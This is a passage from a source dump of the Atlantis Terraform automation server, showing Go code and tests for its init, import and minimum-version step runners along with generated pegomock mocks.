"id"}, Workspace: workspace, } RegisterMockTestingT(t) terraform := tfclientmocks.NewMockClient() tfVersion, _ := version.NewVersion("0.15.0") mockDownloader := mocks.NewMockDownloader() tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) s := NewImportStepRunner(terraform, tfDistribution, tfVersion) When(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())). ThenReturn("output", nil) output, err := s.Run(context, []string{}, tmpDir, map[string]string(nil)) Ok(t, err) Equals(t, "output", output) // switch workspace terraform.VerifyWasCalledOnce().RunCommandWithVersion(context, tmpDir, []string{"workspace", "show"}, map[string]string(nil), tfDistribution, tfVersion, workspace) terraform.VerifyWasCalledOnce().RunCommandWithVersion(context, tmpDir, []string{"workspace", "select", workspace}, map[string]string(nil), tfDistribution, tfVersion, workspace) // exec import commands := []string{"import", "-var", "foo=bar", "addr", "id"} terraform.VerifyWasCalledOnce().RunCommandWithVersion(context, tmpDir, commands, map[string]string(nil), tfDistribution, tfVersion, workspace) _, err = os.Stat(planPath) Assert(t, os.IsNotExist(err), "planfile should be deleted") } func TestImportStepRunner_Run_UsesConfiguredDistribution(t *testing.T) { logger := logging.NewNoopLogger(t) workspace := "something" tmpDir := t.TempDir() planPath := filepath.Join(tmpDir, fmt.Sprintf("%s.tfplan", workspace)) err := os.WriteFile(planPath, nil, 0600) Ok(t, err) projTFDistribution := "opentofu" context := command.ProjectContext{ Log: logger, EscapedCommentArgs: []string{"-var", "foo=bar", "addr", "id"}, Workspace: workspace, TerraformDistribution: &projTFDistribution, } RegisterMockTestingT(t) terraform := tfclientmocks.NewMockClient() tfVersion, _ := version.NewVersion("0.15.0") mockDownloader := mocks.NewMockDownloader() tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) s := NewImportStepRunner(terraform, tfDistribution, tfVersion) When(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())). ThenReturn("output", nil) output, err := s.Run(context, []string{}, tmpDir, map[string]string(nil)) Ok(t, err) Equals(t, "output", output) // switch workspace terraform.VerifyWasCalledOnce().RunCommandWithVersion(Eq(context), Eq(tmpDir), Eq([]string{"workspace", "show"}), Eq(map[string]string(nil)), NotEq(tfDistribution), Eq(tfVersion), Eq(workspace)) terraform.VerifyWasCalledOnce().RunCommandWithVersion(Eq(context), Eq(tmpDir), Eq([]string{"workspace", "select", workspace}), Eq(map[string]string(nil)), NotEq(tfDistribution), Eq(tfVersion), Eq(workspace)) // exec import commands := []string{"import", "-var", "foo=bar", "addr", "id"} terraform.VerifyWasCalledOnce().RunCommandWithVersion(Eq(context), Eq(tmpDir), Eq(commands), Eq(map[string]string(nil)), NotEq(tfDistribution), Eq(tfVersion), Eq(workspace)) _, err = os.Stat(planPath) Assert(t, os.IsNotExist(err), "planfile should be deleted") } ================================================ FILE: server/core/runtime/init_step_runner.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package runtime import ( "path/filepath" version "github.com/hashicorp/go-version" "github.com/runatlantis/atlantis/server/core/runtime/common" "github.com/runatlantis/atlantis/server/core/terraform" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/utils" ) // InitStep runs `terraform init`. type InitStepRunner struct { TerraformExecutor TerraformExec DefaultTFDistribution terraform.Distribution DefaultTFVersion *version.Version } func (i *InitStepRunner) Run(ctx command.ProjectContext, extraArgs []string, path string, envs map[string]string) (string, error) { lockFileName := ".terraform.lock.hcl" terraformLockfilePath := filepath.Join(path, lockFileName) terraformLockFileTracked, err := common.IsFileTracked(path, lockFileName) if err != nil { ctx.Log.Warn("Error checking if %s is tracked in %s", lockFileName, path) } // If .terraform.lock.hcl is not tracked in git and it exists prior to init // delete it as it probably has been created by a previous run of // terraform init if common.FileExists(terraformLockfilePath) && !terraformLockFileTracked { ctx.Log.Debug("Deleting `%s` that was generated by previous terraform init", terraformLockfilePath) delErr := utils.RemoveIgnoreNonExistent(terraformLockfilePath) if delErr != nil { ctx.Log.Info("Error Deleting `%s`", lockFileName) } } tfDistribution := i.DefaultTFDistribution if ctx.TerraformDistribution != nil { tfDistribution = terraform.NewDistribution(*ctx.TerraformDistribution) } tfVersion := i.DefaultTFVersion if ctx.TerraformVersion != nil { tfVersion = ctx.TerraformVersion } terraformInitVerb := []string{"init"} terraformInitArgs := []string{"-input=false"} // If we're running < 0.9 we have to use `terraform get` instead of `init`. if MustConstraint("< 0.9.0").Check(tfVersion) { ctx.Log.Info("running terraform version %s so will use `get` instead of `init`", tfVersion) terraformInitVerb = []string{"get"} terraformInitArgs = []string{} } if MustConstraint("< 0.14.0").Check(tfVersion) || !common.FileExists(terraformLockfilePath) { terraformInitArgs = append(terraformInitArgs, "-upgrade") } finalArgs := common.DeDuplicateExtraArgs(terraformInitArgs, extraArgs) terraformInitCmd := append(terraformInitVerb, finalArgs...) out, err := i.TerraformExecutor.RunCommandWithVersion(ctx, path, terraformInitCmd, envs, tfDistribution, tfVersion, ctx.Workspace) // Only include the init output if there was an error. Otherwise it's // unnecessary and lengthens the comment. if err != nil { return out, err } return "", nil } ================================================ FILE: server/core/runtime/init_step_runner_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package runtime_test import ( "errors" "os" "os/exec" "path/filepath" "strings" "testing" version "github.com/hashicorp/go-version" . "github.com/petergtz/pegomock/v4" "github.com/runatlantis/atlantis/server/core/runtime" tf "github.com/runatlantis/atlantis/server/core/terraform" "github.com/runatlantis/atlantis/server/core/terraform/mocks" tfclientmocks "github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) func TestRun_UsesGetOrInitForRightVersion(t *testing.T) { RegisterMockTestingT(t) mockDownloader := mocks.NewMockDownloader() tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) cases := []struct { version string expCmd string }{ { "0.8.9", "get", }, { "0.9.0", "init", }, { "0.9.1", "init", }, { "0.10.0", "init", }, } for _, c := range cases { t.Run(c.version, func(t *testing.T) { terraform := tfclientmocks.NewMockClient() logger := logging.NewNoopLogger(t) ctx := command.ProjectContext{ Workspace: "workspace", RepoRelDir: ".", Log: logger, } tfVersion, _ := version.NewVersion(c.version) iso := runtime.InitStepRunner{ TerraformExecutor: terraform, DefaultTFDistribution: tfDistribution, DefaultTFVersion: tfVersion, } When(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())). ThenReturn("output", nil) output, err := iso.Run(ctx, []string{"extra", "args"}, "/path", map[string]string(nil)) Ok(t, err) // When there is no error, should not return init output to PR. Equals(t, "", output) // If using init then we specify -input=false but not for get. expArgs := []string{c.expCmd, "-input=false", "-upgrade", "extra", "args"} if c.expCmd == "get" { expArgs = []string{c.expCmd, "-upgrade", "extra", "args"} } terraform.VerifyWasCalledOnce().RunCommandWithVersion(ctx, "/path", expArgs, map[string]string(nil), tfDistribution, tfVersion, "workspace") }) } } func TestInitStepRunner_TestRun_UsesConfiguredDistribution(t *testing.T) { RegisterMockTestingT(t) mockDownloader := mocks.NewMockDownloader() tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) cases := []struct { version string distribution string expCmd string }{ { "0.8.9", "opentofu", "get", }, { "0.8.9", "terraform", "get", }, { "0.9.0", "opentofu", "init", }, { "0.9.1", "terraform", "init", }, } for _, c := range cases { t.Run(c.version, func(t *testing.T) { terraform := tfclientmocks.NewMockClient() logger := logging.NewNoopLogger(t) ctx := command.ProjectContext{ Workspace: "workspace", RepoRelDir: ".", Log: logger, TerraformDistribution: &c.distribution, } tfVersion, _ := version.NewVersion(c.version) iso := runtime.InitStepRunner{ TerraformExecutor: terraform, DefaultTFDistribution: tfDistribution, DefaultTFVersion: tfVersion, } When(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())). ThenReturn("output", nil) output, err := iso.Run(ctx, []string{"extra", "args"}, "/path", map[string]string(nil)) Ok(t, err) // When there is no error, should not return init output to PR. Equals(t, "", output) // If using init then we specify -input=false but not for get. expArgs := []string{c.expCmd, "-input=false", "-upgrade", "extra", "args"} if c.expCmd == "get" { expArgs = []string{c.expCmd, "-upgrade", "extra", "args"} } terraform.VerifyWasCalledOnce().RunCommandWithVersion(Eq(ctx), Eq("/path"), Eq(expArgs), Eq(map[string]string(nil)), NotEq(tfDistribution), Eq(tfVersion), Eq("workspace")) }) } } func TestRun_ShowInitOutputOnError(t *testing.T) { // If there was an error during init then we want the output to be returned. RegisterMockTestingT(t) tfClient := tfclientmocks.NewMockClient() logger := logging.NewNoopLogger(t) When(tfClient.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())). ThenReturn("output", errors.New("error")) mockDownloader := mocks.NewMockDownloader() tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) tfVersion, _ := version.NewVersion("0.11.0") iso := runtime.InitStepRunner{ TerraformExecutor: tfClient, DefaultTFDistribution: tfDistribution, DefaultTFVersion: tfVersion, } output, err := iso.Run(command.ProjectContext{ Workspace: "workspace", RepoRelDir: ".", Log: logger, }, nil, "/path", map[string]string(nil)) ErrEquals(t, "error", err) Equals(t, "output", output) } func TestRun_InitOmitsUpgradeFlagIfLockFileTracked(t *testing.T) { // Initialize the git repo. repoDir := initRepo(t) lockFilePath := filepath.Join(repoDir, ".terraform.lock.hcl") err := os.WriteFile(lockFilePath, nil, 0600) Ok(t, err) // commit lock file runCmd(t, repoDir, "git", "add", ".terraform.lock.hcl") runCmd(t, repoDir, "git", "commit", "-m", "add .terraform.lock.hcl") logger := logging.NewNoopLogger(t) ctx := command.ProjectContext{ Workspace: "workspace", RepoRelDir: ".", Log: logger, } RegisterMockTestingT(t) terraform := tfclientmocks.NewMockClient() mockDownloader := mocks.NewMockDownloader() tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) tfVersion, _ := version.NewVersion("0.14.0") iso := runtime.InitStepRunner{ TerraformExecutor: terraform, DefaultTFDistribution: tfDistribution, DefaultTFVersion: tfVersion, } When(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())). ThenReturn("output", nil) output, err := iso.Run(ctx, []string{"extra", "args"}, repoDir, map[string]string(nil)) Ok(t, err) // When there is no error, should not return init output to PR. Equals(t, "", output) expectedArgs := []string{"init", "-input=false", "extra", "args"} terraform.VerifyWasCalledOnce().RunCommandWithVersion(ctx, repoDir, expectedArgs, map[string]string(nil), tfDistribution, tfVersion, "workspace") } func TestRun_InitKeepsUpgradeFlagIfLockFileNotPresent(t *testing.T) { tmpDir := t.TempDir() RegisterMockTestingT(t) terraform := tfclientmocks.NewMockClient() logger := logging.NewNoopLogger(t) ctx := command.ProjectContext{ Workspace: "workspace", RepoRelDir: ".", Log: logger, } mockDownloader := mocks.NewMockDownloader() tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) tfVersion, _ := version.NewVersion("0.14.0") iso := runtime.InitStepRunner{ TerraformExecutor: terraform, DefaultTFDistribution: tfDistribution, DefaultTFVersion: tfVersion, } When(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())). ThenReturn("output", nil) output, err := iso.Run(ctx, []string{"extra", "args"}, tmpDir, map[string]string(nil)) Ok(t, err) // When there is no error, should not return init output to PR. Equals(t, "", output) expectedArgs := []string{"init", "-input=false", "-upgrade", "extra", "args"} terraform.VerifyWasCalledOnce().RunCommandWithVersion(ctx, tmpDir, expectedArgs, map[string]string(nil), tfDistribution, tfVersion, "workspace") } func TestRun_InitKeepUpgradeFlagIfLockFilePresentAndTFLessThanPoint14(t *testing.T) { tmpDir := t.TempDir() lockFilePath := filepath.Join(tmpDir, ".terraform.lock.hcl") err := os.WriteFile(lockFilePath, nil, 0600) Ok(t, err) RegisterMockTestingT(t) terraform := tfclientmocks.NewMockClient() logger := logging.NewNoopLogger(t) ctx := command.ProjectContext{ Workspace: "workspace", RepoRelDir: ".", Log: logger, } mockDownloader := mocks.NewMockDownloader() tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) tfVersion, _ := version.NewVersion("0.13.0") iso := runtime.InitStepRunner{ TerraformExecutor: terraform, DefaultTFDistribution: tfDistribution, DefaultTFVersion: tfVersion, } When(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())). ThenReturn("output", nil) output, err := iso.Run(ctx, []string{"extra", "args"}, tmpDir, map[string]string(nil)) Ok(t, err) // When there is no error, should not return init output to PR. Equals(t, "", output) expectedArgs := []string{"init", "-input=false", "-upgrade", "extra", "args"} terraform.VerifyWasCalledOnce().RunCommandWithVersion(ctx, tmpDir, expectedArgs, map[string]string(nil), tfDistribution, tfVersion, "workspace") } func TestRun_InitExtraArgsDeDupe(t *testing.T) { RegisterMockTestingT(t) cases := []struct { description string extraArgs []string expectedArgs []string }{ { "No extra args", []string{}, []string{"init", "-input=false", "-upgrade"}, }, { "Override -upgrade", []string{"-upgrade=false"}, []string{"init", "-input=false", "-upgrade=false"}, }, { "Override -input", []string{"-input=true"}, []string{"init", "-input=true", "-upgrade"}, }, { "Override -input and -upgrade", []string{"-input=true", "-upgrade=false"}, []string{"init", "-input=true", "-upgrade=false"}, }, { "Non duplicate extra args", []string{"extra", "args"}, []string{"init", "-input=false", "-upgrade", "extra", "args"}, }, { "Override upgrade with extra args", []string{"extra", "args", "-upgrade=false"}, []string{"init", "-input=false", "-upgrade=false", "extra", "args"}, }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { terraform := tfclientmocks.NewMockClient() logger := logging.NewNoopLogger(t) ctx := command.ProjectContext{ Workspace: "workspace", RepoRelDir: ".", Log: logger, } mockDownloader := mocks.NewMockDownloader() tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) tfVersion, _ := version.NewVersion("0.10.0") iso := runtime.InitStepRunner{ TerraformExecutor: terraform, DefaultTFDistribution: tfDistribution, DefaultTFVersion: tfVersion, } When(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())). ThenReturn("output", nil) output, err := iso.Run(ctx, c.extraArgs, "/path", map[string]string(nil)) Ok(t, err) // When there is no error, should not return init output to PR. Equals(t, "", output) terraform.VerifyWasCalledOnce().RunCommandWithVersion(ctx, "/path", c.expectedArgs, map[string]string(nil), tfDistribution, tfVersion, "workspace") }) } } func TestRun_InitDeletesLockFileIfPresentAndNotTracked(t *testing.T) { // Initialize the git repo. repoDir := initRepo(t) lockFilePath := filepath.Join(repoDir, ".terraform.lock.hcl") err := os.WriteFile(lockFilePath, nil, 0600) Ok(t, err) RegisterMockTestingT(t) terraform := tfclientmocks.NewMockClient() logger := logging.NewNoopLogger(t) mockDownloader := mocks.NewMockDownloader() tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) tfVersion, _ := version.NewVersion("0.14.0") iso := runtime.InitStepRunner{ TerraformExecutor: terraform, DefaultTFDistribution: tfDistribution, DefaultTFVersion: tfVersion, } When(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())). ThenReturn("output", nil) ctx := command.ProjectContext{ Workspace: "workspace", RepoRelDir: ".", Log: logger, } output, err := iso.Run(ctx, []string{"extra", "args"}, repoDir, map[string]string(nil)) Ok(t, err) // When there is no error, should not return init output to PR. Equals(t, "", output) expectedArgs := []string{"init", "-input=false", "-upgrade", "extra", "args"} terraform.VerifyWasCalledOnce().RunCommandWithVersion(ctx, repoDir, expectedArgs, map[string]string(nil), tfDistribution, tfVersion, "workspace") } func runCmd(t *testing.T, dir string, name string, args ...string) string { t.Helper() cpCmd := exec.Command(name, args...) cpCmd.Dir = dir cpOut, err := cpCmd.CombinedOutput() Assert(t, err == nil, "err running %q: %s", strings.Join(append([]string{name}, args...), " "), cpOut) return string(cpOut) } func initRepo(t *testing.T) string { repoDir := t.TempDir() runCmd(t, repoDir, "git", "init") runCmd(t, repoDir, "touch", ".gitkeep") runCmd(t, repoDir, "git", "add", ".gitkeep") runCmd(t, repoDir, "git", "config", "--local", "user.email", "atlantisbot@runatlantis.io") runCmd(t, repoDir, "git", "config", "--local", "user.name", "atlantisbot") runCmd(t, repoDir, "git", "config", "--local", "commit.gpgsign", "false") runCmd(t, repoDir, "git", "commit", "-m", "initial commit") runCmd(t, repoDir, "git", "branch", "branch") return repoDir } ================================================ FILE: server/core/runtime/minimum_version_step_runner_delegate.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package runtime import ( "fmt" "github.com/hashicorp/go-version" "github.com/runatlantis/atlantis/server/events/command" ) // minimumVersionStepRunnerDelegate ensures that a given step runner can't run unless the command version being used // is greater than a provided minimum type minimumVersionStepRunnerDelegate struct { minimumVersion *version.Version defaultTfVersion *version.Version delegate Runner } func NewMinimumVersionStepRunnerDelegate(minimumVersionStr string, defaultVersion *version.Version, delegate Runner) (Runner, error) { minimumVersion, err := version.NewVersion(minimumVersionStr) if err != nil { return &minimumVersionStepRunnerDelegate{}, fmt.Errorf("initializing minimum version: %w", err) } return &minimumVersionStepRunnerDelegate{ minimumVersion: minimumVersion, defaultTfVersion: defaultVersion, delegate: delegate, }, nil } func (r *minimumVersionStepRunnerDelegate) Run(ctx command.ProjectContext, extraArgs []string, path string, envs map[string]string) (string, error) { tfVersion := r.defaultTfVersion if ctx.TerraformVersion != nil { tfVersion = ctx.TerraformVersion } if tfVersion.LessThan(r.minimumVersion) { return fmt.Sprintf("Version: %s is unsupported for this step. Minimum version is: %s", tfVersion.String(), r.minimumVersion.String()), nil } return r.delegate.Run(ctx, extraArgs, path, envs) } ================================================ FILE: server/core/runtime/minimum_version_step_runner_delegate_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package runtime import ( "testing" "github.com/hashicorp/go-version" . "github.com/petergtz/pegomock/v4" "github.com/runatlantis/atlantis/server/core/runtime/mocks" "github.com/runatlantis/atlantis/server/events/command" . "github.com/runatlantis/atlantis/testing" ) func TestRunMinimumVersionDelegate(t *testing.T) { RegisterMockTestingT(t) mockDelegate := mocks.NewMockRunner() tfVersion12, _ := version.NewVersion("0.12.0") tfVersion11, _ := version.NewVersion("0.11.15") // these stay the same for all tests extraArgs := []string{"extra", "args"} envs := map[string]string{} path := "" expectedOut := "some valid output from delegate" t.Run("default version success", func(t *testing.T) { subject := &minimumVersionStepRunnerDelegate{ defaultTfVersion: tfVersion12, minimumVersion: tfVersion12, delegate: mockDelegate, } ctx := command.ProjectContext{} When(mockDelegate.Run(ctx, extraArgs, path, envs)).ThenReturn(expectedOut, nil) output, err := subject.Run( ctx, extraArgs, path, envs, ) Equals(t, expectedOut, output) Ok(t, err) }) t.Run("ctx version success", func(t *testing.T) { subject := &minimumVersionStepRunnerDelegate{ defaultTfVersion: tfVersion11, minimumVersion: tfVersion12, delegate: mockDelegate, } ctx := command.ProjectContext{ TerraformVersion: tfVersion12, } When(mockDelegate.Run(ctx, extraArgs, path, envs)).ThenReturn(expectedOut, nil) output, err := subject.Run( ctx, extraArgs, path, envs, ) Equals(t, expectedOut, output) Ok(t, err) }) t.Run("default version failure", func(t *testing.T) { subject := &minimumVersionStepRunnerDelegate{ defaultTfVersion: tfVersion11, minimumVersion: tfVersion12, delegate: mockDelegate, } ctx := command.ProjectContext{} output, err := subject.Run( ctx, extraArgs, path, envs, ) mockDelegate.VerifyWasCalled(Never()) Equals(t, "Version: 0.11.15 is unsupported for this step. Minimum version is: 0.12.0", output) Ok(t, err) }) t.Run("ctx version failure", func(t *testing.T) { subject := &minimumVersionStepRunnerDelegate{ defaultTfVersion: tfVersion12, minimumVersion: tfVersion12, delegate: mockDelegate, } ctx := command.ProjectContext{ TerraformVersion: tfVersion11, } output, err := subject.Run( ctx, extraArgs, path, envs, ) mockDelegate.VerifyWasCalled(Never()) Equals(t, "Version: 0.11.15 is unsupported for this step. Minimum version is: 0.12.0", output) Ok(t, err) }) } ================================================ FILE: server/core/runtime/mocks/mock_async_tfexec.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/core/runtime (interfaces: AsyncTFExec) package mocks import ( go_version "github.com/hashicorp/go-version" pegomock "github.com/petergtz/pegomock/v4" models "github.com/runatlantis/atlantis/server/core/runtime/models" terraform "github.com/runatlantis/atlantis/server/core/terraform" command "github.com/runatlantis/atlantis/server/events/command" "reflect" "time" ) type MockAsyncTFExec struct { fail func(message string, callerSkip ...int) } func NewMockAsyncTFExec(options ...pegomock.Option) *MockAsyncTFExec { mock := &MockAsyncTFExec{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockAsyncTFExec) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockAsyncTFExec) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockAsyncTFExec) RunCommandAsync(ctx command.ProjectContext, path string, args []string, envs map[string]string, d terraform.Distribution, v *go_version.Version, workspace string) (chan<- string, <-chan models.Line) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockAsyncTFExec().") } _params := []pegomock.Param{ctx, path, args, envs, d, v, workspace} _result := pegomock.GetGenericMockFrom(mock).Invoke("RunCommandAsync", _params, []reflect.Type{reflect.TypeOf((*chan<- string)(nil)).Elem(), reflect.TypeOf((*<-chan models.Line)(nil)).Elem()}) var _ret0 chan<- string var _ret1 <-chan models.Line if len(_result) != 0 { if _result[0] != nil { var ok bool _ret0, ok = _result[0].(chan string) if !ok { _ret0 = _result[0].(chan<- string) } } if _result[1] != nil { var ok bool _ret1, ok = _result[1].(chan models.Line) if !ok { _ret1 = _result[1].(<-chan models.Line) } } } return _ret0, _ret1 } func (mock *MockAsyncTFExec) VerifyWasCalledOnce() *VerifierMockAsyncTFExec { return &VerifierMockAsyncTFExec{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockAsyncTFExec) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockAsyncTFExec { return &VerifierMockAsyncTFExec{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockAsyncTFExec) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockAsyncTFExec { return &VerifierMockAsyncTFExec{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockAsyncTFExec) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockAsyncTFExec { return &VerifierMockAsyncTFExec{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockAsyncTFExec struct { mock *MockAsyncTFExec invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockAsyncTFExec) RunCommandAsync(ctx command.ProjectContext, path string, args []string, envs map[string]string, d terraform.Distribution, v *go_version.Version, workspace string) *MockAsyncTFExec_RunCommandAsync_OngoingVerification { _params := []pegomock.Param{ctx, path, args, envs, d, v, workspace} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "RunCommandAsync", _params, verifier.timeout) return &MockAsyncTFExec_RunCommandAsync_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockAsyncTFExec_RunCommandAsync_OngoingVerification struct { mock *MockAsyncTFExec methodInvocations []pegomock.MethodInvocation } func (c *MockAsyncTFExec_RunCommandAsync_OngoingVerification) GetCapturedArguments() (command.ProjectContext, string, []string, map[string]string, terraform.Distribution, *go_version.Version, string) { ctx, path, args, envs, d, v, workspace := c.GetAllCapturedArguments() return ctx[len(ctx)-1], path[len(path)-1], args[len(args)-1], envs[len(envs)-1], d[len(d)-1], v[len(v)-1], workspace[len(workspace)-1] } func (c *MockAsyncTFExec_RunCommandAsync_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext, _param1 []string, _param2 [][]string, _param3 []map[string]string, _param4 []terraform.Distribution, _param5 []*go_version.Version, _param6 []string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]command.ProjectContext, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(command.ProjectContext) } } if len(_params) > 1 { _param1 = make([]string, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(string) } } if len(_params) > 2 { _param2 = make([][]string, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.([]string) } } if len(_params) > 3 { _param3 = make([]map[string]string, len(c.methodInvocations)) for u, param := range _params[3] { _param3[u] = param.(map[string]string) } } if len(_params) > 4 { _param4 = make([]terraform.Distribution, len(c.methodInvocations)) for u, param := range _params[4] { _param4[u] = param.(terraform.Distribution) } } if len(_params) > 5 { _param5 = make([]*go_version.Version, len(c.methodInvocations)) for u, param := range _params[5] { _param5[u] = param.(*go_version.Version) } } if len(_params) > 6 { _param6 = make([]string, len(c.methodInvocations)) for u, param := range _params[6] { _param6[u] = param.(string) } } } return } ================================================ FILE: server/core/runtime/mocks/mock_external_team_allowlist_runner.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/core/runtime (interfaces: ExternalTeamAllowlistRunner) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" models "github.com/runatlantis/atlantis/server/events/models" "reflect" "time" ) type MockExternalTeamAllowlistRunner struct { fail func(message string, callerSkip ...int) } func NewMockExternalTeamAllowlistRunner(options ...pegomock.Option) *MockExternalTeamAllowlistRunner { mock := &MockExternalTeamAllowlistRunner{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockExternalTeamAllowlistRunner) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockExternalTeamAllowlistRunner) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockExternalTeamAllowlistRunner) Run(ctx models.TeamAllowlistCheckerContext, shell string, shellArgs string, command string) (string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockExternalTeamAllowlistRunner().") } _params := []pegomock.Param{ctx, shell, shellArgs, command} _result := pegomock.GetGenericMockFrom(mock).Invoke("Run", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 string var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(string) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockExternalTeamAllowlistRunner) VerifyWasCalledOnce() *VerifierMockExternalTeamAllowlistRunner { return &VerifierMockExternalTeamAllowlistRunner{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockExternalTeamAllowlistRunner) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockExternalTeamAllowlistRunner { return &VerifierMockExternalTeamAllowlistRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockExternalTeamAllowlistRunner) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockExternalTeamAllowlistRunner { return &VerifierMockExternalTeamAllowlistRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockExternalTeamAllowlistRunner) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockExternalTeamAllowlistRunner { return &VerifierMockExternalTeamAllowlistRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockExternalTeamAllowlistRunner struct { mock *MockExternalTeamAllowlistRunner invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockExternalTeamAllowlistRunner) Run(ctx models.TeamAllowlistCheckerContext, shell string, shellArgs string, command string) *MockExternalTeamAllowlistRunner_Run_OngoingVerification { _params := []pegomock.Param{ctx, shell, shellArgs, command} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Run", _params, verifier.timeout) return &MockExternalTeamAllowlistRunner_Run_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockExternalTeamAllowlistRunner_Run_OngoingVerification struct { mock *MockExternalTeamAllowlistRunner methodInvocations []pegomock.MethodInvocation } func (c *MockExternalTeamAllowlistRunner_Run_OngoingVerification) GetCapturedArguments() (models.TeamAllowlistCheckerContext, string, string, string) { ctx, shell, shellArgs, command := c.GetAllCapturedArguments() return ctx[len(ctx)-1], shell[len(shell)-1], shellArgs[len(shellArgs)-1], command[len(command)-1] } func (c *MockExternalTeamAllowlistRunner_Run_OngoingVerification) GetAllCapturedArguments() (_param0 